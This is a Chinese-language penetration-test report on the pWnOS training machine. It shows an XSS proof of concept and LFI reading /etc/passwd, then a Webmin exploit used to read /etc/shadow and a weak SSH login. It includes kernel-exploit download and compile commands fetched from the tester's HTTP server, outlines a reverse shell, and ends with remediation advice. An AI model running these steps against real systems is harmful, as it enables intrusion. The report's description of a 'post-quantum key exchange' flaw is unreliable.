pWnOS渗透测试
pWnOS渗透测试
一、测试概述
1.1 测试目标
针对 pWnOS 靶机(IP:192.168.5.132)开展全维度黑盒渗透测试,覆盖 Web 应用层、系统服务层、权限提权等维度,挖掘高危漏洞并验证完整攻击链,评估靶机整体安全风险及防御短板。
1.2 测试范围
- Web 应用层:
index1.php核心参数(help/connect/name)、表单交互逻辑、文件包含 / 执行漏洞; - 系统服务层:SSH(22)、HTTP(80)、Samba(139/445)、Webmin(10000)等开放服务的漏洞利用与权限突破;
- 权限提权层:普通用户(vmware)到 root 权限的提权路径验证;
- 敏感信息层:系统配置文件、用户凭证、服务漏洞利用脚本等。
1.3 测试工具与方法
| 工具 / 方法 | 用途 |
|---|---|
| arp-scan | 内网 IP 存活探测 |
| Nmap | 端口扫描、服务版本识别 |
| searchsploit | 漏洞利用脚本检索(Webmin/Samba) |
| 浏览器(Chrome) | 手工验证文件包含、XSS 漏洞 |
| SSH 客户端 | 远程登录、提权操作 |
| Python/ GCC | 临时 HTTP 服务、恶意代码编译 |
1.4 测试时间
2026 年 01 月 15 日
二、漏洞发现与验证
2.1 存储型 XSS 漏洞(Name 输入框)
2.1.1 漏洞基本信息
| 项目 | 详情 |
|---|---|
| 漏洞位置 | http://192.168.5.132/index1.php?help=true&connect=true 页面 Name 输入框 |
| 漏洞类型 | 存储型跨站脚本攻击(XSS) |
| 风险等级 | 高危 |
| 影响范围 | 窃取用户 Cookie、伪造用户操作、钓鱼欺诈 |
2.1.2 漏洞原理与验证
Name 输入框未过滤<script>等危险标签,恶意 JS 代码持久化存储于页面。输入<script>alert(1)</script>提交后,页面弹窗且刷新后仍触发,验证为存储型 XSS。
2.2 本地文件包含漏洞(LFI,connect 参数)
2.2.1 漏洞基本信息
| 项目 | 详情 |
|---|---|
| 漏洞位置 | http://192.168.5.132/index1.php?help=true&connect=XXX 中connect参数 |
| 漏洞类型 | 本地文件包含(Local File Inclusion) |
| 风险等级 | 高危 |
| 影响范围 | 读取系统任意敏感文件、为代码执行铺路 |
2.2.2 漏洞原理与验证
connect参数直接拼接至 PHP include()函数,无路径校验。构造http://192.168.5.132/index1.php?help=true&connect=/etc/passwd,页面输出系统用户列表;无效参数触发include()报错,验证漏洞存在。
2.3 开放服务高危漏洞(Webmin/Samba/SSH)
2.3.1 Webmin(10000 端口)- 多版本漏洞暴露
| 项目 | 详情 |
|---|---|
| 服务版本 | MiniServ 0.01(Webmin) |
| 漏洞类型 | 远程代码执行(RCE)、目录遍历、权限提升、未授权访问 |
| 风险等级 | 高危 |
| 验证方式 | 通过searchsploit Webmin检索到 20 + 个利用脚本,涵盖:1. Webmin < 1.920 - 未授权远程代码执行(Metasploit);2. Webmin 0.91 - 目录遍历;3. Webmin 1.580 - 远程命令执行(CGI) |
2.3.2 Samba(139/445 端口)- 版本漏洞
| 项目 | 详情 |
|---|---|
| 服务版本 | Samba 3.0.26a |
| 漏洞类型 | 远程代码执行(CVE-2007-2447)、未授权文件访问、信息泄露 |
| 风险等级 | 高危 |
| 验证方式 | Nmap 扫描显示 Samba 3.0.26a 存在已知 RCE 漏洞,smbclient -L //192.168.5.132可枚举共享目录,匿名用户可访问 |
2.3.3 SSH(22 端口)- 弱口令登录 + 版本漏洞
| 项目 | 详情 |
|---|---|
| 服务版本 | OpenSSH 4.6p1 Debian 5build1 |
| 漏洞类型 | 弱口令爆破、量子密钥交换算法漏洞、root 登录未禁用 |
| 风险等级 | 中高危 |
| 验证方式 | 1. 使用vmware/vmware弱口令成功 SSH 登录靶机;2. 登录后提示 “post-quantum key exchange algorithm” 漏洞,服务器存在算法降级风险 |
2.4 本地权限提权(vmware → root)
2.4.1 提权漏洞基本信息
| 项目 | 详情 |
|---|---|
| 初始权限 | 普通用户 vmware(UID=1000) |
| 提权方式 | 内核漏洞利用(Ubuntu 2.6.22-14-server) |
| 风险等级 | 高危 |
2.4.2 提权验证步骤
- 本地启动 Python 临时 HTTP 服务:
python3 -m http.server 8000(存放提权 EXP:9545.c); - 靶机(vmware 用户)下载 EXP:
wget ``http://192.168.5.130:8000/9545.c; - 编译 EXP:
gcc -o exp 9545.c(仅报 “无换行符” 警告,不影响编译); - 执行提权程序:
./exp,成功获取 root 权限(id显示 uid=0 (root))。
三、漏洞发现及验证
3.1 信息收集
扫描网段下存活的主机,找到目标靶机的 ip 地址
端口扫描
使用 nmap -sS -sV -sC -p- 192.168.5.132
发现有两个 HTTP 协议的端口:80 和 10000
3.2 Web 层漏洞利用(主要 80 端口)
3.2.1 xss 漏洞
在主页面点击 post
进入的页面的 url 中的 name= 参数可以携带xss恶意语句
页面出现弹窗
3.2.2 任意文件读取
主页面的 url 中有一个 connect 参数,它会把后面的内容当作文件读取
将参数改为 false 他会回显报错
让他读取 /etc/passwd 目录
3.2 阶段 2:服务层突破
在 100000 端口的页面里发现他是一个 web 服务
对于 10000 端口的服务信息尝试搜索 Kali 本地缓存的历史漏洞
使用 msfconsole 进行进一步的渗透
选择第二个,因为第一个需要账号密码
发现可以看见 /etc/passwd
再看 /etc/shadow 找用户
使用找到的用户进行爆破
使用爆出来的账密ssh连接,因为前面有22端口开放
3.3 阶段 3:本地权限提权(root 权限获取)
3.3.1 使用内核提权
用 umane -a 检查系统内核版本
用 searchsploit 扫描版本漏洞
用脚本运行
把文件传到靶机上
开启一个 HTTP 服务,开启8000端口
在靶机上用 wget ``http://192.168.5.130:8000/9545.c 获取
再使用 gcc -o exp 9545.c 和 ./exp 执行脚本
最终 id 查看当前用户权限,已经是 root ,提权成功!
3.3.2 使用Webmin 反弹 Shell 提权
知道webmin有任意文件读取的漏洞,并且webmin以root权限执行的
可以在靶机上写入反弹shell,再利用文件读取漏洞使得反弹shell执行
1 |
|
写进1.cgi文件之后
改一下它的权限,使用 chmod +x 1.cgi
然后找到文件所在的路径
使用 msfconsole 改一下 rpath 的参数,让它执行 1.cgi 文件
记得在 kali 上开一个监听
监听到之后就可以提权成功
四、风险评估(新增提权维度)
| 漏洞类型 | 可利用性 | 影响程度 | 综合风险 | 核心危害 |
|---|---|---|---|---|
| 存储型 XSS | 高 | 高 | 高危 | 持久化窃取用户信息、横向攻击 |
| 本地文件包含(LFI) | 高 | 高 | 高危 | 读取系统核心配置、为代码执行铺路 |
| Webmin 远程代码执行 | 高 | 高 | 高危 | 未授权远程控制靶机、权限提升 |
| Samba 远程代码执行 | 高 | 高 | 高危 | 匿名访问共享文件、远程代码执行 |
| SSH 弱口令 + 版本漏洞 | 中 | 高 | 中高危 | 暴力破解登录、算法漏洞导致密钥泄露 |
| 本地内核提权 | 高 | 极高 | 高危 | 普通用户直接获取 root 权限,完全控制靶机 |
整体风险等级:极高,靶机从 Web 层到系统层无有效防御,攻击者可通过 “Web 漏洞→服务登录→内核提权” 完整攻击链,在 5 分钟内获取 root 权限。
五、修复建议
5.1 Web 层漏洞修复
- XSS 漏洞:过滤危险标签 / 事件,输出转义特殊字符,启用 CSP 策略;
- LFI 漏洞:参数白名单限制(仅允许
true/false),禁止include()处理用户可控参数,限制文件读取目录。
5.2 服务层安全加固
5.2.1 Webmin(10000 端口)
- 立即升级至 Webmin 最新版本(≥2.101),修复已知 RCE / 权限提升漏洞;
- 禁用公网访问,仅允许授权 IP 通过防火墙访问 10000 端口;
- 启用双因素认证,设置复杂度≥12 位的管理员密码,禁止弱口令。
5.2.2 Samba(139/445 端口)
- 升级 Samba 至≥4.17 版本,修复 CVE-2007-2447 等历史漏洞;
- 禁用匿名访问,配置
smb.conf限制共享目录权限(仅授权用户访问); - 关闭无用共享,启用 Samba 日志审计,监控异常访问。
5.2.3 SSH(22 端口)
- 禁用 root 用户 SSH 登录,仅允许 vmware 等普通用户登录;
- 强制使用密钥登录,关闭密码登录功能;
- 升级 OpenSSH 至≥8.9 版本,修复量子密钥交换算法漏洞,禁用弱加密算法。
5.3 权限提权防御
- 系统内核升级:将 Ubuntu 内核从 2.6.22-14 升级至≥5.4 LTS 版本,修复内核提权漏洞;
- 用户权限控制:限制普通用户(如 vmware)的
gcc/wget等工具使用权限,禁止普通用户编译执行未知代码; - 安全审计:安装
auditd监控setuid/setgid文件、内核模块加载、提权操作,及时告警异常行为。
5.4 通用安全加固
- 系统层面:定期更新系统补丁,删除无用用户 / 服务,关闭 139/445 等非必要端口;
- Web 层面:升级 PHP/Apache 至最新版本,关闭错误回显,配置 Web 应用防火墙(WAF);
- 应急响应:建立漏洞应急流程,发现提权 / 入侵行为时立即隔离靶机,备份关键数据。
六、测试总结
本次测试完整打通 pWnOS 靶机 “Web 漏洞→服务登录→内核提权” 攻击链:
- Web 层:存储型 XSS 可窃取用户信息,LFI 可读取系统核心配置;
- 服务层:Webmin/Samba 存在高危 RCE 漏洞,SSH 弱口令直接突破系统边界;
- 提权层:普通用户通过内核 EXP 可一键获取 root 权限,完全控制靶机。
靶机核心安全短板为缺乏输入过滤、服务版本老旧、权限控制缺失、弱口令泛滥,建议优先修复 LFI/XSS 等高风险 Web 漏洞,升级 Webmin/Samba/SSH 等服务版本,加固用户权限与内核安全,同时建立常态化漏洞扫描与安全审计机制,避免类似攻击重现。






